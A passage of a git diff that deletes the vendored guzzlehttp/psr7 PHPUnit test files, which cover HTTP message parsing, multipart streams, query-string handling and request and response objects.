$request->getHeaderLine('Host')); - self::assertSame('Bar', $request->getHeaderLine('Foo')); - self::assertSame('Bam, Qux', $request->getHeaderLine('Baz')); - self::assertSame('Test', (string)$request->getBody()); - self::assertSame('http://foo.com/abc', (string)$request->getUri()); - } - - public function testParsesRequestMessagesWithHttpsScheme() - { - $req = "PUT /abc?baz=bar HTTP/1.1\r\nHost: foo.com:443\r\n\r\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('PUT', $request->getMethod()); - self::assertSame('/abc?baz=bar', $request->getRequestTarget()); - self::assertSame('1.1', $request->getProtocolVersion()); - self::assertSame('foo.com:443', $request->getHeaderLine('Host')); - self::assertSame('', (string)$request->getBody()); - self::assertSame('https://foo.com/abc?baz=bar', (string)$request->getUri()); - } - - public function testParsesRequestMessagesWithUriWhenHostIsNotFirst() - { - $req = "PUT / HTTP/1.1\r\nFoo: Bar\r\nHost: foo.com\r\n\r\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('PUT', $request->getMethod()); - self::assertSame('/', $request->getRequestTarget()); - self::assertSame('http://foo.com/', (string)$request->getUri()); - } - - public function testParsesRequestMessagesWithFullUri() - { - $req = "GET https://www.google.com:443/search?q=foobar HTTP/1.1\r\nHost: www.google.com\r\n\r\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('GET', $request->getMethod()); - self::assertSame('https://www.google.com:443/search?q=foobar', $request->getRequestTarget()); - self::assertSame('1.1', $request->getProtocolVersion()); - self::assertSame('www.google.com', $request->getHeaderLine('Host')); - self::assertSame('', (string)$request->getBody()); - self::assertSame('https://www.google.com/search?q=foobar', (string)$request->getUri()); - } - - public function testParsesRequestMessagesWithCustomMethod() - { - $req = "GET_DATA / HTTP/1.1\r\nFoo: Bar\r\nHost: foo.com\r\n\r\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('GET_DATA', $request->getMethod()); - } - - public function testParsesRequestMessagesWithFoldedHeadersOnHttp10() - { - $req = "PUT / HTTP/1.0\r\nFoo: Bar\r\n Bam\r\n\r\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('PUT', $request->getMethod()); - self::assertSame('/', $request->getRequestTarget()); - self::assertSame('Bar Bam', $request->getHeaderLine('Foo')); - } - - public function testRequestParsingFailsWithFoldedHeadersOnHttp11() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Invalid header syntax: Obsolete line folding'); - - Psr7\Message::parseResponse("GET_DATA / HTTP/1.1\r\nFoo: Bar\r\n Biz: Bam\r\n\r\n"); - } - - public function testParsesRequestMessagesWhenHeaderDelimiterIsOnlyALineFeed() - { - $req = "PUT / HTTP/1.0\nFoo: Bar\nBaz: Bam\n\n"; - $request = Psr7\Message::parseRequest($req); - self::assertSame('PUT', $request->getMethod()); - self::assertSame('/', $request->getRequestTarget()); - self::assertSame('Bar', $request->getHeaderLine('Foo')); - self::assertSame('Bam', $request->getHeaderLine('Baz')); - } - - public function testValidatesRequestMessages() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - Psr7\Message::parseRequest("HTTP/1.1 200 OK\r\n\r\n"); - } - - public function testParsesResponseMessages() - { - $res = "HTTP/1.0 200 OK\r\nFoo: Bar\r\nBaz: Bam\r\nBaz: Qux\r\n\r\nTest"; - $response = Psr7\Message::parseResponse($res); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('1.0', $response->getProtocolVersion()); - self::assertSame('Bar', $response->getHeaderLine('Foo')); - self::assertSame('Bam, Qux', $response->getHeaderLine('Baz')); - self::assertSame('Test', (string)$response->getBody()); - } - - public function testParsesResponseWithoutReason() - { - $res = "HTTP/1.0 200\r\nFoo: Bar\r\nBaz: Bam\r\nBaz: Qux\r\n\r\nTest"; - $response = Psr7\Message::parseResponse($res); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('1.0', $response->getProtocolVersion()); - self::assertSame('Bar', $response->getHeaderLine('Foo')); - self::assertSame('Bam, Qux', $response->getHeaderLine('Baz')); - self::assertSame('Test', (string)$response->getBody()); - } - - public function testParsesResponseWithLeadingDelimiter() - { - $res = "\r\nHTTP/1.0 200\r\nFoo: Bar\r\n\r\nTest"; - $response = Psr7\Message::parseResponse($res); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('1.0', $response->getProtocolVersion()); - self::assertSame('Bar', $response->getHeaderLine('Foo')); - self::assertSame('Test', (string)$response->getBody()); - } - - public function testParsesResponseWithFoldedHeadersOnHttp10() - { - $res = "HTTP/1.0 200\r\nFoo: Bar\r\n Bam\r\n\r\nTest"; - $response = Psr7\Message::parseResponse($res); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('1.0', $response->getProtocolVersion()); - self::assertSame('Bar Bam', $response->getHeaderLine('Foo')); - self::assertSame('Test', (string)$response->getBody()); - } - - public function testResponseParsingFailsWithFoldedHeadersOnHttp11() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Invalid header syntax: Obsolete line folding'); - - Psr7\Message::parseResponse("HTTP/1.1 200\r\nFoo: Bar\r\n Biz: Bam\r\nBaz: Qux\r\n\r\nTest"); - } - - public function testParsesResponseWhenHeaderDelimiterIsOnlyALineFeed() - { - $res = "HTTP/1.0 200\nFoo: Bar\nBaz: Bam\n\nTest\n\nOtherTest"; - $response = Psr7\Message::parseResponse($res); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - self::assertSame('1.0', $response->getProtocolVersion()); - self::assertSame('Bar', $response->getHeaderLine('Foo')); - self::assertSame('Bam', $response->getHeaderLine('Baz')); - self::assertSame("Test\n\nOtherTest", (string)$response->getBody()); - } - - public function testResponseParsingFailsWithoutHeaderDelimiter() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Invalid message: Missing header delimiter'); - - Psr7\Message::parseResponse("HTTP/1.0 200\r\nFoo: Bar\r\n Baz: Bam\r\nBaz: Qux\r\n"); - } - - public function testValidatesResponseMessages() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - Psr7\Message::parseResponse("GET / HTTP/1.1\r\n\r\n"); - } - - public function testMessageBodySummaryWithSmallBody() - { - $message = new Psr7\Response(200, [], 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'); - self::assertSame('Lorem ipsum dolor sit amet, consectetur adipiscing elit.', Psr7\Message::bodySummary($message)); - } - - public function testMessageBodySummaryWithLargeBody() - { - $message = new Psr7\Response(200, [], 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'); - self::assertSame('Lorem ipsu (truncated...)', Psr7\Message::bodySummary($message, 10)); - } - - public function testMessageBodySummaryWithSpecialUTF8Characters() - { - $message = new Psr7\Response(200, [], '’é€௵ဪ‱'); - self::assertSame('’é€௵ဪ‱', Psr7\Message::bodySummary($message)); - } - - public function testMessageBodySummaryWithEmptyBody() - { - $message = new Psr7\Response(200, [], ''); - self::assertNull(Psr7\Message::bodySummary($message)); - } - - public function testGetResponseBodySummaryOfNonReadableStream() - { - self::assertNull(Psr7\Message::bodySummary(new Psr7\Response(500, [], new ReadSeekOnlyStream()))); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/MimeTypeTest.php b/vendor/guzzlehttp/psr7/tests/MimeTypeTest.php deleted file mode 100644 index 3678df2a95..0000000000 --- a/vendor/guzzlehttp/psr7/tests/MimeTypeTest.php +++ /dev/null @@ -1,22 +0,0 @@ -getBoundary()); - } - - public function testCanProvideBoundary() - { - $b = new MultipartStream([], 'foo'); - self::assertSame('foo', $b->getBoundary()); - } - - public function testIsNotWritable() - { - $b = new MultipartStream(); - self::assertFalse($b->isWritable()); - } - - public function testCanCreateEmptyStream() - { - $b = new MultipartStream(); - $boundary = $b->getBoundary(); - self::assertSame("--{$boundary}--\r\n", $b->getContents()); - self::assertSame(strlen($boundary) + 6, $b->getSize()); - } - - public function testValidatesFilesArrayElement() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - new MultipartStream([['foo' => 'bar']]); - } - - public function testEnsuresFileHasName() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - new MultipartStream([['contents' => 'bar']]); - } - - public function testSerializesFields() - { - $b = new MultipartStream([ - [ - 'name' => 'foo', - 'contents' => 'bar' - ], - [ - 'name' => 'baz', - 'contents' => 'bam' - ] - ], 'boundary'); - self::assertSame( - "--boundary\r\nContent-Disposition: form-data; name=\"foo\"\r\nContent-Length: 3\r\n\r\n" - . "bar\r\n--boundary\r\nContent-Disposition: form-data; name=\"baz\"\r\nContent-Length: 3" - . "\r\n\r\nbam\r\n--boundary--\r\n", - (string) $b - ); - } - - public function testSerializesNonStringFields() - { - $b = new MultipartStream([ - [ - 'name' => 'int', - 'contents' => (int) 1 - ], - [ - 'name' => 'bool', - 'contents' => (boolean) false - ], - [ - 'name' => 'bool2', - 'contents' => (boolean) true - ], - [ - 'name' => 'float', - 'contents' => (float) 1.1 - ] - ], 'boundary'); - self::assertSame( - "--boundary\r\nContent-Disposition: form-data; name=\"int\"\r\nContent-Length: 1\r\n\r\n" - . "1\r\n--boundary\r\nContent-Disposition: form-data; name=\"bool\"\r\n\r\n\r\n--boundary" - . "\r\nContent-Disposition: form-data; name=\"bool2\"\r\nContent-Length: 1\r\n\r\n" - . "1\r\n--boundary\r\nContent-Disposition: form-data; name=\"float\"\r\nContent-Length: 3" - . "\r\n\r\n1.1\r\n--boundary--\r\n", - (string) $b - ); - } - - public function testSerializesFiles() - { - $f1 = Psr7\FnStream::decorate(Psr7\Utils::streamFor('foo'), [ - 'getMetadata' => function () { - return '/foo/bar.txt'; - } - ]); - - $f2 = Psr7\FnStream::decorate(Psr7\Utils::streamFor('baz'), [ - 'getMetadata' => function () { - return '/foo/baz.jpg'; - } - ]); - - $f3 = Psr7\FnStream::decorate(Psr7\Utils::streamFor('bar'), [ - 'getMetadata' => function () { - return '/foo/bar.gif'; - } - ]); - - $b = new MultipartStream([ - [ - 'name' => 'foo', - 'contents' => $f1 - ], - [ - 'name' => 'qux', - 'contents' => $f2 - ], - [ - 'name' => 'qux', - 'contents' => $f3 - ], - ], 'boundary'); - - $expected = << function () { - return '/foo/bar.txt'; - } - ]); - - $b = new MultipartStream([ - [ - 'name' => 'foo', - 'contents' => $f1, - 'headers' => [ - 'x-foo' => 'bar', - 'content-disposition' => 'custom' - ] - ] - ], 'boundary'); - - $expected = << function () { - return '/foo/bar.txt'; - } - ]); - - $f2 = Psr7\FnStream::decorate(Psr7\Utils::streamFor('baz'), [ - 'getMetadata' => function () { - return '/foo/baz.jpg'; - } - ]); - - $b = new MultipartStream([ - [ - 'name' => 'foo', - 'contents' => $f1, - 'headers' => [ - 'x-foo' => 'bar', - 'content-disposition' => 'custom' - ] - ], - [ - 'name' => 'foo', - 'contents' => $f2, - 'headers' => ['cOntenT-Type' => 'custom'], - ] - ], 'boundary'); - - $expected = <<getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isSeekable', 'seek']) - ->getMockForAbstractClass(); - $s->expects(self::never())->method('seek'); - $s->expects(self::never())->method('isSeekable'); - $wrapped = new NoSeekStream($s); - self::assertFalse($wrapped->isSeekable()); - - $this->expectExceptionGuzzle('RuntimeException', 'Cannot seek a NoSeekStream'); - - $wrapped->seek(2); - } - - public function testToStringDoesNotSeek() - { - $s = \GuzzleHttp\Psr7\Utils::streamFor('foo'); - $s->seek(1); - $wrapped = new NoSeekStream($s); - self::assertSame('oo', (string) $wrapped); - - $wrapped->close(); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/PumpStreamTest.php b/vendor/guzzlehttp/psr7/tests/PumpStreamTest.php deleted file mode 100644 index 1ef464b926..0000000000 --- a/vendor/guzzlehttp/psr7/tests/PumpStreamTest.php +++ /dev/null @@ -1,78 +0,0 @@ - ['foo' => 'bar'], - 'size' => 100 - ]); - - self::assertSame('bar', $p->getMetadata('foo')); - self::assertSame(['foo' => 'bar'], $p->getMetadata()); - self::assertSame(100, $p->getSize()); - } - - public function testCanReadFromCallable() - { - $p = Psr7\Utils::streamFor(function ($size) { - return 'a'; - }); - self::assertSame('a', $p->read(1)); - self::assertSame(1, $p->tell()); - self::assertSame('aaaaa', $p->read(5)); - self::assertSame(6, $p->tell()); - } - - public function testStoresExcessDataInBuffer() - { - $called = []; - $p = Psr7\Utils::streamFor(function ($size) use (&$called) { - $called[] = $size; - return 'abcdef'; - }); - self::assertSame('a', $p->read(1)); - self::assertSame('b', $p->read(1)); - self::assertSame('cdef', $p->read(4)); - self::assertSame('abcdefabc', $p->read(9)); - self::assertSame([1, 9, 3], $called); - } - - public function testInifiniteStreamWrappedInLimitStream() - { - $p = Psr7\Utils::streamFor(function () { - return 'a'; - }); - $s = new LimitStream($p, 5); - self::assertSame('aaaaa', (string) $s); - } - - public function testDescribesCapabilities() - { - $p = Psr7\Utils::streamFor(function () { - }); - self::assertTrue($p->isReadable()); - self::assertFalse($p->isSeekable()); - self::assertFalse($p->isWritable()); - self::assertNull($p->getSize()); - self::assertSame('', $p->getContents()); - self::assertSame('', (string) $p); - $p->close(); - self::assertSame('', $p->read(10)); - self::assertTrue($p->eof()); - - try { - self::assertFalse($p->write('aa')); - self::fail(); - } catch (\RuntimeException $e) { - } - } -} diff --git a/vendor/guzzlehttp/psr7/tests/QueryTest.php b/vendor/guzzlehttp/psr7/tests/QueryTest.php deleted file mode 100644 index eb14a9a892..0000000000 --- a/vendor/guzzlehttp/psr7/tests/QueryTest.php +++ /dev/null @@ -1,98 +0,0 @@ - ['a', 'b']]], - // Can parse multi-valued items that use numeric indices - ['q[0]=a&q[1]=b', ['q[0]' => 'a', 'q[1]' => 'b']], - // Can parse duplicates and does not include numeric indices - ['q[]=a&q[]=b', ['q[]' => ['a', 'b']]], - // Ensures that the value of "q" is an array even though one value - ['q[]=a', ['q[]' => 'a']], - // Does not modify "." to "_" like PHP's parse_str() - ['q.a=a&q.b=b', ['q.a' => 'a', 'q.b' => 'b']], - // Can decode %20 to " " - ['q%20a=a%20b', ['q a' => 'a b']], - // Can parse funky strings with no values by assigning each to null - ['q&a', ['q' => null, 'a' => null]], - // Does not strip trailing equal signs - ['data=abc=', ['data' => 'abc=']], - // Can store duplicates without affecting other values - ['foo=a&foo=b&?µ=c', ['foo' => ['a', 'b'], '?µ' => 'c']], - // Sets value to null when no "=" is present - ['foo', ['foo' => null]], - // Preserves "0" keys. - ['0', ['0' => null]], - // Sets the value to an empty string when "=" is present - ['0=', ['0' => '']], - // Preserves falsey keys - ['var=0', ['var' => '0']], - ['a[b][c]=1&a[b][c]=2', ['a[b][c]' => ['1', '2']]], - ['a[b]=c&a[d]=e', ['a[b]' => 'c', 'a[d]' => 'e']], - // Ensure it doesn't leave things behind with repeated values - // Can parse mult-values items - ['q=a&q=b&q=c', ['q' => ['a', 'b', 'c']]], - ]; - } - - /** - * @dataProvider parseQueryProvider - */ - public function testParsesQueries($input, $output) - { - $result = Psr7\Query::parse($input); - self::assertSame($output, $result); - } - - public function testDoesNotDecode() - { - $str = 'foo%20=bar'; - $data = Psr7\Query::parse($str, false); - self::assertSame(['foo%20' => 'bar'], $data); - } - - /** - * @dataProvider parseQueryProvider - */ - public function testParsesAndBuildsQueries($input) - { - $result = Psr7\Query::parse($input, false); - self::assertSame($input, Psr7\Query::build($result, false)); - } - - public function testEncodesWithRfc1738() - { - $str = Psr7\Query::build(['foo bar' => 'baz+'], PHP_QUERY_RFC1738); - self::assertSame('foo+bar=baz%2B', $str); - } - - public function testEncodesWithRfc3986() - { - $str = Psr7\Query::build(['foo bar' => 'baz+'], PHP_QUERY_RFC3986); - self::assertSame('foo%20bar=baz%2B', $str); - } - - public function testDoesNotEncode() - { - $str = Psr7\Query::build(['foo bar' => 'baz+'], false); - self::assertSame('foo bar=baz+', $str); - } - - public function testCanControlDecodingType() - { - $result = Psr7\Query::parse('var=foo+bar', PHP_QUERY_RFC3986); - self::assertSame('foo+bar', $result['var']); - $result = Psr7\Query::parse('var=foo+bar', PHP_QUERY_RFC1738); - self::assertSame('foo bar', $result['var']); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/ReadSeekOnlyStream.php b/vendor/guzzlehttp/psr7/tests/ReadSeekOnlyStream.php deleted file mode 100644 index 95553e3323..0000000000 --- a/vendor/guzzlehttp/psr7/tests/ReadSeekOnlyStream.php +++ /dev/null @@ -1,23 +0,0 @@ -getUri()); - } - - public function testRequestUriMayBeUri() - { - $uri = new Uri('/'); - $r = new Request('GET', $uri); - self::assertSame($uri, $r->getUri()); - } - - public function testValidateRequestUri() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - new Request('GET', '///'); - } - - public function testCanConstructWithBody() - { - $r = new Request('GET', '/', [], 'baz'); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('baz', (string) $r->getBody()); - } - - public function testNullBody() - { - $r = new Request('GET', '/', [], null); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('', (string) $r->getBody()); - } - - public function testFalseyBody() - { - $r = new Request('GET', '/', [], '0'); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('0', (string) $r->getBody()); - } - - public function testConstructorDoesNotReadStreamBody() - { - $streamIsRead = false; - $body = Psr7\FnStream::decorate(Psr7\Utils::streamFor(''), [ - '__toString' => function () use (&$streamIsRead) { - $streamIsRead = true; - return ''; - } - ]); - - $r = new Request('GET', '/', [], $body); - self::assertFalse($streamIsRead); - self::assertSame($body, $r->getBody()); - } - - public function testCapitalizesMethod() - { - $r = new Request('get', '/'); - self::assertSame('GET', $r->getMethod()); - } - - public function testCapitalizesWithMethod() - { - $r = new Request('GET', '/'); - self::assertSame('PUT', $r->withMethod('put')->getMethod()); - } - - public function testWithUri() - { - $r1 = new Request('GET', '/'); - $u1 = $r1->getUri(); - $u2 = new Uri('http://www.example.com'); - $r2 = $r1->withUri($u2); - self::assertNotSame($r1, $r2); - self::assertSame($u2, $r2->getUri()); - self::assertSame($u1, $r1->getUri()); - } - - /** - * @dataProvider invalidMethodsProvider - */ - public function testConstructWithInvalidMethods($method) - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - new Request($method, '/'); - } - - /** - * @dataProvider invalidMethodsProvider - */ - public function testWithInvalidMethods($method) - { - $r = new Request('get', '/'); - $this->expectExceptionGuzzle('InvalidArgumentException'); - $r->withMethod($method); - } - - public function invalidMethodsProvider() - { - return [ - [null], - [false], - [['foo']], - [new \stdClass()], - ]; - } - - public function testSameInstanceWhenSameUri() - { - $r1 = new Request('GET', 'http://foo.com'); - $r2 = $r1->withUri($r1->getUri()); - self::assertSame($r1, $r2); - } - - public function testWithRequestTarget() - { - $r1 = new Request('GET', '/'); - $r2 = $r1->withRequestTarget('*'); - self::assertSame('*', $r2->getRequestTarget()); - self::assertSame('/', $r1->getRequestTarget()); - } - - public function testRequestTargetDoesNotAllowSpaces() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - $r1 = new Request('GET', '/'); - $r1->withRequestTarget('/foo bar'); - } - - public function testRequestTargetDefaultsToSlash() - { - $r1 = new Request('GET', ''); - self::assertSame('/', $r1->getRequestTarget()); - $r2 = new Request('GET', '*'); - self::assertSame('*', $r2->getRequestTarget()); - $r3 = new Request('GET', 'http://foo.com/bar baz/'); - self::assertSame('/bar%20baz/', $r3->getRequestTarget()); - } - - public function testBuildsRequestTarget() - { - $r1 = new Request('GET', 'http://foo.com/baz?bar=bam'); - self::assertSame('/baz?bar=bam', $r1->getRequestTarget()); - } - - public function testBuildsRequestTargetWithFalseyQuery() - { - $r1 = new Request('GET', 'http://foo.com/baz?0'); - self::assertSame('/baz?0', $r1->getRequestTarget()); - } - - public function testHostIsAddedFirst() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', ['Foo' => 'Bar']); - self::assertSame([ - 'Host' => ['foo.com'], - 'Foo' => ['Bar'] - ], $r->getHeaders()); - } - - public function testCanGetHeaderAsCsv() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', [ - 'Foo' => ['a', 'b', 'c'] - ]); - self::assertSame('a, b, c', $r->getHeaderLine('Foo')); - self::assertSame('', $r->getHeaderLine('Bar')); - } - - public function testHostIsNotOverwrittenWhenPreservingHost() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam', ['Host' => 'a.com']); - self::assertSame(['Host' => ['a.com']], $r->getHeaders()); - $r2 = $r->withUri(new Uri('http://www.foo.com/bar'), true); - self::assertSame('a.com', $r2->getHeaderLine('Host')); - } - - public function testWithUriSetsHostIfNotSet() - { - $r = (new Request('GET', 'http://foo.com/baz?bar=bam'))->withoutHeader('Host'); - self::assertSame([], $r->getHeaders()); - $r2 = $r->withUri(new Uri('http://www.baz.com/bar'), true); - self::assertSame('www.baz.com', $r2->getHeaderLine('Host')); - } - - public function testOverridesHostWithUri() - { - $r = new Request('GET', 'http://foo.com/baz?bar=bam'); - self::assertSame(['Host' => ['foo.com']], $r->getHeaders()); - $r2 = $r->withUri(new Uri('http://www.baz.com/bar')); - self::assertSame('www.baz.com', $r2->getHeaderLine('Host')); - } - - public function testAggregatesHeaders() - { - $r = new Request('GET', '', [ - 'ZOO' => 'zoobar', - 'zoo' => ['foobar', 'zoobar'] - ]); - self::assertSame(['ZOO' => ['zoobar', 'foobar', 'zoobar']], $r->getHeaders()); - self::assertSame('zoobar, foobar, zoobar', $r->getHeaderLine('zoo')); - } - - public function testAddsPortToHeader() - { - $r = new Request('GET', 'http://foo.com:8124/bar'); - self::assertSame('foo.com:8124', $r->getHeaderLine('host')); - } - - public function testAddsPortToHeaderAndReplacePreviousPort() - { - $r = new Request('GET', 'http://foo.com:8124/bar'); - $r = $r->withUri(new Uri('http://foo.com:8125/bar')); - self::assertSame('foo.com:8125', $r->getHeaderLine('host')); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/ResponseTest.php b/vendor/guzzlehttp/psr7/tests/ResponseTest.php deleted file mode 100644 index 9f9e4b2fc6..0000000000 --- a/vendor/guzzlehttp/psr7/tests/ResponseTest.php +++ /dev/null @@ -1,375 +0,0 @@ -getStatusCode()); - self::assertSame('1.1', $r->getProtocolVersion()); - self::assertSame('OK', $r->getReasonPhrase()); - self::assertSame([], $r->getHeaders()); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('', (string) $r->getBody()); - } - - public function testCanConstructWithStatusCode() - { - $r = new Response(404); - self::assertSame(404, $r->getStatusCode()); - self::assertSame('Not Found', $r->getReasonPhrase()); - } - - public function testConstructorDoesNotReadStreamBody() - { - $streamIsRead = false; - $body = Psr7\FnStream::decorate(Psr7\Utils::streamFor(''), [ - '__toString' => function () use (&$streamIsRead) { - $streamIsRead = true; - return ''; - } - ]); - - $r = new Response(200, [], $body); - self::assertFalse($streamIsRead); - self::assertSame($body, $r->getBody()); - } - - public function testStatusCanBeNumericString() - { - $r = new Response('404'); - $r2 = $r->withStatus('201'); - self::assertSame(404, $r->getStatusCode()); - self::assertSame('Not Found', $r->getReasonPhrase()); - self::assertSame(201, $r2->getStatusCode()); - self::assertSame('Created', $r2->getReasonPhrase()); - } - - public function testCanConstructWithHeaders() - { - $r = new Response(200, ['Foo' => 'Bar']); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame('Bar', $r->getHeaderLine('Foo')); - self::assertSame(['Bar'], $r->getHeader('Foo')); - } - - public function testCanConstructWithHeadersAsArray() - { - $r = new Response(200, [ - 'Foo' => ['baz', 'bar'] - ]); - self::assertSame(['Foo' => ['baz', 'bar']], $r->getHeaders()); - self::assertSame('baz, bar', $r->getHeaderLine('Foo')); - self::assertSame(['baz', 'bar'], $r->getHeader('Foo')); - } - - public function testCanConstructWithBody() - { - $r = new Response(200, [], 'baz'); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('baz', (string) $r->getBody()); - } - - public function testNullBody() - { - $r = new Response(200, [], null); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('', (string) $r->getBody()); - } - - public function testFalseyBody() - { - $r = new Response(200, [], '0'); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('0', (string) $r->getBody()); - } - - public function testCanConstructWithReason() - { - $r = new Response(200, [], null, '1.1', 'bar'); - self::assertSame('bar', $r->getReasonPhrase()); - - $r = new Response(200, [], null, '1.1', '0'); - self::assertSame('0', $r->getReasonPhrase(), 'Falsey reason works'); - } - - public function testCanConstructWithProtocolVersion() - { - $r = new Response(200, [], null, '1000'); - self::assertSame('1000', $r->getProtocolVersion()); - } - - public function testWithStatusCodeAndNoReason() - { - $r = (new Response())->withStatus(201); - self::assertSame(201, $r->getStatusCode()); - self::assertSame('Created', $r->getReasonPhrase()); - } - - public function testWithStatusCodeAndReason() - { - $r = (new Response())->withStatus(201, 'Foo'); - self::assertSame(201, $r->getStatusCode()); - self::assertSame('Foo', $r->getReasonPhrase()); - - $r = (new Response())->withStatus(201, '0'); - self::assertSame(201, $r->getStatusCode()); - self::assertSame('0', $r->getReasonPhrase(), 'Falsey reason works'); - } - - public function testWithProtocolVersion() - { - $r = (new Response())->withProtocolVersion('1000'); - self::assertSame('1000', $r->getProtocolVersion()); - } - - public function testSameInstanceWhenSameProtocol() - { - $r = new Response(); - self::assertSame($r, $r->withProtocolVersion('1.1')); - } - - public function testWithBody() - { - $b = Psr7\Utils::streamFor('0'); - $r = (new Response())->withBody($b); - self::assertInstanceOf('Psr\Http\Message\StreamInterface', $r->getBody()); - self::assertSame('0', (string) $r->getBody()); - } - - public function testSameInstanceWhenSameBody() - { - $r = new Response(); - $b = $r->getBody(); - self::assertSame($r, $r->withBody($b)); - } - - public function testWithHeader() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('baZ', 'Bam'); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['Foo' => ['Bar'], 'baZ' => ['Bam']], $r2->getHeaders()); - self::assertSame('Bam', $r2->getHeaderLine('baz')); - self::assertSame(['Bam'], $r2->getHeader('baz')); - } - - public function testNumericHeaderValue() - { - $r = (new Response())->withHeader('Api-Version', 1); - self::assertSame(['Api-Version' => ['1']], $r->getHeaders()); - } - - public function testWithHeaderAsArray() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('baZ', ['Bam', 'Bar']); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['Foo' => ['Bar'], 'baZ' => ['Bam', 'Bar']], $r2->getHeaders()); - self::assertSame('Bam, Bar', $r2->getHeaderLine('baz')); - self::assertSame(['Bam', 'Bar'], $r2->getHeader('baz')); - } - - public function testWithHeaderReplacesDifferentCase() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withHeader('foO', 'Bam'); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['foO' => ['Bam']], $r2->getHeaders()); - self::assertSame('Bam', $r2->getHeaderLine('foo')); - self::assertSame(['Bam'], $r2->getHeader('foo')); - } - - public function testWithAddedHeader() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('foO', 'Baz'); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['Foo' => ['Bar', 'Baz']], $r2->getHeaders()); - self::assertSame('Bar, Baz', $r2->getHeaderLine('foo')); - self::assertSame(['Bar', 'Baz'], $r2->getHeader('foo')); - } - - public function testWithAddedHeaderAsArray() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('foO', ['Baz', 'Bam']); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['Foo' => ['Bar', 'Baz', 'Bam']], $r2->getHeaders()); - self::assertSame('Bar, Baz, Bam', $r2->getHeaderLine('foo')); - self::assertSame(['Bar', 'Baz', 'Bam'], $r2->getHeader('foo')); - } - - public function testWithAddedHeaderThatDoesNotExist() - { - $r = new Response(200, ['Foo' => 'Bar']); - $r2 = $r->withAddedHeader('nEw', 'Baz'); - self::assertSame(['Foo' => ['Bar']], $r->getHeaders()); - self::assertSame(['Foo' => ['Bar'], 'nEw' => ['Baz']], $r2->getHeaders()); - self::assertSame('Baz', $r2->getHeaderLine('new')); - self::assertSame(['Baz'], $r2->getHeader('new')); - } - - public function testWithoutHeaderThatExists() - { - $r = new Response(200, ['Foo' => 'Bar', 'Baz' => 'Bam']); - $r2 = $r->withoutHeader('foO'); - self::assertTrue($r->hasHeader('foo')); - self::assertSame(['Foo' => ['Bar'], 'Baz' => ['Bam']], $r->getHeaders()); - self::assertFalse($r2->hasHeader('foo')); - self::assertSame(['Baz' => ['Bam']], $r2->getHeaders()); - } - - public function testWithoutHeaderThatDoesNotExist() - { - $r = new Response(200, ['Baz' => 'Bam']); - $r2 = $r->withoutHeader('foO'); - self::assertSame($r, $r2); - self::assertFalse($r2->hasHeader('foo')); - self::assertSame(['Baz' => ['Bam']], $r2->getHeaders()); - } - - public function testSameInstanceWhenRemovingMissingHeader() - { - $r = new Response(); - self::assertSame($r, $r->withoutHeader('foo')); - } - - public function testPassNumericHeaderNameInConstructor() - { - $r = new Response(200, ['Location' => 'foo', '123' => 'bar']); - self::assertSame('bar', $r->getHeaderLine('123')); - } - - /** - * @dataProvider invalidHeaderProvider - */ - public function testConstructResponseInvalidHeader($header, $headerValue, $expectedMessage) - { - $this->expectExceptionGuzzle('InvalidArgumentException', $expectedMessage); - new Response(200, [$header => $headerValue]); - } - - public function invalidHeaderProvider() - { - return [ - ['foo', [], 'Header value can not be an empty array.'], - ['', '', 